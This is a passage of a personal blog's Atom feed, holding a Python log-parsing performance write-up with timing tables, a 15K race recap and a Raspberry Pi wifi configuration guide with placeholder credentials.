&lt;col width="67%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Run #&lt;/th&gt;
&lt;th class="head"&gt;time (seconds)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;10.991&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;11.219&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;11.431&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;11.141&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;average&lt;/td&gt;
&lt;td&gt;11.1955&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Another possible optimization was to replace &lt;cite&gt;if 'q' in q:&lt;/cite&gt; statement with try .. catch block as at that point in the code, this statement should mostly evaluate to &lt;cite&gt;True&lt;/cite&gt;. After running the program without the conditional it turn out my guess was wrong and the statement always evaluated to &lt;cite&gt;True&lt;/cite&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_queries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;in_query&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;in_query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;q&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After this modification, the average runtime improved enough to make up for performance hit from the pythonic changes.&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="33%" /&gt;
&lt;col width="67%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Run #&lt;/th&gt;
&lt;th class="head"&gt;time (seconds)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;10.950&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;11.119&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;11.090&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;11.028&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;average&lt;/td&gt;
&lt;td&gt;11.0468&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Finally, I'm only interested in urls containing '/search/', what if the whole log line is searched for '/search'/ without attempting to find request URL string first?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_searches&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_fd&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;log_fd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/search/&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;
        &lt;span class="n"&gt;outp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nginx_parser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;request_url_path&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; \
                &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/search/&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;request_url_path&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;parse_queries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;request_url_query_list&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
            &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;prep_item&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;outp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The improvement was an order of magnitude. Turns out the common log format parser, is just a nicely abstracted set of regular expressions, a rather neat neat set -- &lt;a class="reference external" href="https://github.com/rory/apache-log-parser/blob/master/apache_log_parser/__init__.py#L141"&gt;__init__.py line 141&lt;/a&gt;, but running several regular expression to parse a line is way slower than a simple string comparison.&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="33%" /&gt;
&lt;col width="67%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Run #&lt;/th&gt;
&lt;th class="head"&gt;time (seconds)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1.025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;1.022&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1.026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;1.040&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;average&lt;/td&gt;
&lt;td&gt;1.0285&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;I can think of two things after doing this exercise: first, &lt;a class="reference external" href="http://www.joelonsoftware.com/articles/LeakyAbstractions.html"&gt;the law of leaky abstractions&lt;/a&gt; is still with us even if the abstracted code is relatively straightforward and works well, there are still implementation details to be aware of; second, fixing up and making code better and more pythonic helps me to think about program flow differently with much greater potential benefits in the long run, even if in the short run performance of a program may decrease.&lt;/p&gt;
</content><category term="python"></category><category term="python"></category><category term="apache logs"></category><category term="regular expressions"></category><category term="performance"></category></entry><entry><title>My awesome 15K MEC Run</title><link href="https://flamy.ca/blog/2015-12-06-my-awesome-15k-mec-run.html" rel="alternate"></link><published>2015-12-06T22:44:33-05:00</published><updated>2015-12-06T22:44:33-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2015-12-06:/blog/2015-12-06-my-awesome-15k-mec-run.html</id><summary type="html">&lt;p&gt;These are my experiences from MEC Race Seven that happened on October 20, 2015. I posted this a while ago on EYTR page, now I finally got a couple of photos of it.&lt;/p&gt;
&lt;p&gt;I'm still not sure how that's possible but I ran MEC 15K in 1:09:42.0 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;These are my experiences from MEC Race Seven that happened on October 20, 2015. I posted this a while ago on EYTR page, now I finally got a couple of photos of it.&lt;/p&gt;
&lt;p&gt;I'm still not sure how that's possible but I ran MEC 15K in 1:09:42.0. That brought me to #11 finisher.&lt;/p&gt;
&lt;p&gt;My watch shows the average pace of 4.39 Min/Km. Which is not the kind of numbers I'm used to or expect.&lt;/p&gt;
&lt;p&gt;I started the run at a pace that was way too fast breathing like a steam locomotive for the first 2K. Then I followed a runner who was keeping a pace of 4:20-4:30 Min/Km and I managed to run along until 4.5K mark. Then I started falling behind, but I didn't fall behind for more than a couple hundred meters.&lt;/p&gt;
&lt;p&gt;From the beginning of the race I thought I would do my best and then completely fall apart around 10K, but that didn't happen. After 8K my calves started to hurt, so accelerating or coming back to the average pace has become increasingly difficult, but not impossible.&lt;/p&gt;
&lt;p&gt;I didn't fall apart at 10K, but 10K point was also a turnaround point near the finish line that goes another 2.5K in the direction that is totally opposite where the majority of runners are going, and running that way felt kinda demotivating.&lt;/p&gt;
&lt;p&gt;The stretch from 11K to 13K was the hardest in the reace, but somehow whenever I looked at the watch the dreaded pace indicator at the bottom still managed to hover on both sides of 5:00 min/KM mark.&lt;/p&gt;
&lt;p&gt;The remainder of the race became a mental battle that turned from &lt;em&gt;not falling apart before 10K&lt;/em&gt; to &lt;em&gt;not falling apart at the next K&lt;/em&gt; and finally &lt;em&gt;not falling apart at the last K&lt;/em&gt;. I'm glad to report I have managed.&lt;/p&gt;
&lt;p&gt;I've been running around 25-40K in the last three or four weeks but never more than 15K at a time, I also would sometimes run during our regular runs with Becca or Navin at a pace 4:30-4:40 Min/Km but no more than 2 or 3KM at a time, apparently both of those things really helped.&lt;/p&gt;
&lt;p&gt;Thanks guys and gals!&lt;/p&gt;
</content><category term="running"></category><category term="running"></category></entry><entry><title>Raspberry Pi Wireless config</title><link href="https://flamy.ca/blog/2015-12-06-raspberry-pi-wireless-config.html" rel="alternate"></link><published>2015-12-06T00:57:30-05:00</published><updated>2015-12-06T00:57:30-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2015-12-06:/blog/2015-12-06-raspberry-pi-wireless-config.html</id><summary type="html">&lt;p&gt;Here's working wireless configuration I use to connect my Raspberry Pis with USB wifi dongles to my home network.&lt;/p&gt;
&lt;p&gt;I've been using Realtek RTL8188CUS and Ralink RT5370 based devices rated for 150Mbps.&lt;/p&gt;
&lt;p&gt;Dongles based on Ralink chip have been working flawlessly, but I have experienced two issues with the Realtek-based …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Here's working wireless configuration I use to connect my Raspberry Pis with USB wifi dongles to my home network.&lt;/p&gt;
&lt;p&gt;I've been using Realtek RTL8188CUS and Ralink RT5370 based devices rated for 150Mbps.&lt;/p&gt;
&lt;p&gt;Dongles based on Ralink chip have been working flawlessly, but I have experienced two issues with the Realtek-based device. The adapter just doesn't work in AP mode, and if there's no network activity it will drop in power saving mode that can only be resumed packets are sent from the host.&lt;/p&gt;
&lt;p&gt;In practical terms the host becomes unavailable for anyone who attempts to initiate a remote connection, however, this can be mitigated by creating a cron job that pings the router every minute.&lt;/p&gt;
&lt;p&gt;This configuration that doesn't rely on GUI or NetworkManager starting up, assumes that &lt;strong&gt;wpasupplicant&lt;/strong&gt; package is installed and wireless adapter is recognized by the system as &lt;strong&gt;wlan0&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Add the following to &lt;strong&gt;/etc/network/interfaces&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;allow-hotplug wlan0
iface wlan0 inet manual
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Edit &lt;strong&gt;/etc/wpa_supplicant/wpa_supplicant.conf&lt;/strong&gt; as such.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nv"&gt;ctrl_interface&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/run/wpa_supplicant &lt;span class="nv"&gt;GROUP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;netdev
&lt;span class="nv"&gt;update_config&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;

&lt;span class="nv"&gt;network&lt;/span&gt;&lt;span class="o"&gt;={&lt;/span&gt;
        &lt;span class="nv"&gt;ssid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;AP Name&amp;quot;&lt;/span&gt;
        &lt;span class="nv"&gt;psk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;AP Secret&amp;quot;&lt;/span&gt;
        &lt;span class="nv"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;RSN
        &lt;span class="nv"&gt;key_mgmt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;WPA-PSK
        &lt;span class="nv"&gt;pairwise&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;CCMP
        &lt;span class="nv"&gt;auth_alg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;OPEN
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
</content><category term="linux"></category><category term="raspberrypi"></category><category term="networking"></category><category term="wireless"></category><category term="realtek"></category><category term="ralink"></category><category term="usb"></category></entry></feed>